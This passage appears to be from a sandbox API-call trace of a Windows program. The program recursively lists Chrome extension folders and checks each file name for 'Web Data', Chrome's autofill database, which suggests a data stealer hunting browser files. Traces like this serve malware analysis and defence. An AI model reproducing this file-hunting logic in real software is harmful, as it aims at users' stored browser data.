Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.158] lstrlenA (lpString="zh_CN") returned 5 [0056.158] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.158] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0056.158] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned 134 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned 134 [0056.158] lstrlenA (lpString="\\*.*") returned 4 [0056.158] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.158] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*" [0056.158] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.159] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.159] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.159] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.159] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.159] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.159] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.159] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.159] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.159] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.159] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.159] lstrlenA (lpString="\\") returned 1 [0056.159] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.159] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.159] lstrlenA (lpString="zh_TW") returned 5 [0056.159] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc5b8 [0056.159] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0056.159] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned 134 [0056.159] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned 134 [0056.159] lstrlenA (lpString="\\*.*") returned 4 [0056.159] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2dc6c8 [0056.159] lstrcpyA (in: lpString1=0x2dc6c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" [0056.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*" [0056.159] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.159] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.159] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.159] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.159] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.159] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.159] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.160] LocalFree (hMem=0x2dc6c8) returned 0x0 [0056.160] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.160] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.160] FindClose (in: hFindFile=0x2cc890 | out: hFindFile=0x2cc890) returned 1 [0056.160] LocalFree (hMem=0x2db390) returned 0x0 [0056.160] LocalFree (hMem=0x2db280) returned 0x0 [0056.160] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.160] lstrcmpiA (lpString1=".", lpString2="_metadata") returned -1 [0056.160] lstrcmpiA (lpString1="..", lpString2="_metadata") returned -1 [0056.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0056.160] lstrlenA (lpString="\\") returned 1 [0056.160] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x2db178 [0056.160] lstrcpyA (in: lpString1=0x2db178, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0056.160] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0056.160] lstrlenA (lpString="_metadata") returned 9 [0056.160] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2db280 [0056.160] lstrcpyA (in: lpString1=0x2db280, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0056.160] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0056.160] LocalFree (hMem=0x2db178) returned 0x0 [0056.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned 129 [0056.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned 129 [0056.160] lstrlenA (lpString="\\*.*") returned 4 [0056.160] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2db390 [0056.160] lstrcpyA (in: lpString1=0x2db390, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" [0056.160] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*" [0056.160] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc7f8 [0056.160] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.160] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.160] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.160] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.160] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.160] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Web Data") returned 0x0 [0056.160] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.160] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.160] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.160] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.160] LocalFree (hMem=0x2db390) returned 0x0 [0056.160] LocalFree (hMem=0x2db280) returned 0x0 [0056.160] FindNextFileA (in: hFindFile=0x2cc850, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.160] FindClose (in: hFindFile=0x2cc850 | out: hFindFile=0x2cc850) returned 1 [0056.160] LocalFree (hMem=0x2da068) returned 0x0 [0056.160] LocalFree (hMem=0x2d9f68) returned 0x0 [0056.161] FindNextFileA (in: hFindFile=0x2cc810, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0 [0056.161] FindClose (in: hFindFile=0x2cc810 | out: hFindFile=0x2cc810) returned 1 [0056.161] LocalFree (hMem=0x2d8d60) returned 0x0 [0056.161] LocalFree (hMem=0x2d8c60) returned 0x0 [0056.161] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.161] lstrcmpiA (lpString1=".", lpString2="aohghmighlieiainnegkcijnfilokake") returned -1 [0056.161] lstrcmpiA (lpString1="..", lpString2="aohghmighlieiainnegkcijnfilokake") returned -1 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0056.161] lstrlenA (lpString="\\") returned 1 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x2dd7e0 [0056.161] lstrcpyA (in: lpString1=0x2dd7e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.161] lstrlenA (lpString="aohghmighlieiainnegkcijnfilokake") returned 32 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x2dd8c0 [0056.161] lstrcpyA (in: lpString1=0x2dd8c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.161] LocalFree (hMem=0x2dd7e0) returned 0x0 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.161] lstrlenA (lpString="\\*.*") returned 4 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x2dd9c0 [0056.161] lstrcpyA (in: lpString1=0x2dd9c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*" [0056.161] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.161] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.161] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.161] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.161] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.161] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.161] lstrcmpiA (lpString1=".", lpString2="0.0.0.6_0") returned -1 [0056.161] lstrcmpiA (lpString1="..", lpString2="0.0.0.6_0") returned -1 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 113 [0056.161] lstrlenA (lpString="\\") returned 1 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.161] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned 114 [0056.161] lstrlenA (lpString="0.0.0.6_0") returned 9 [0056.161] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x2debc8 [0056.161] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0056.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.0.0.6_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0" [0056.161] LocalFree (hMem=0x2deac8) returned 0x0 [0056.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0") returned 123 [0056.161] lstrlenA 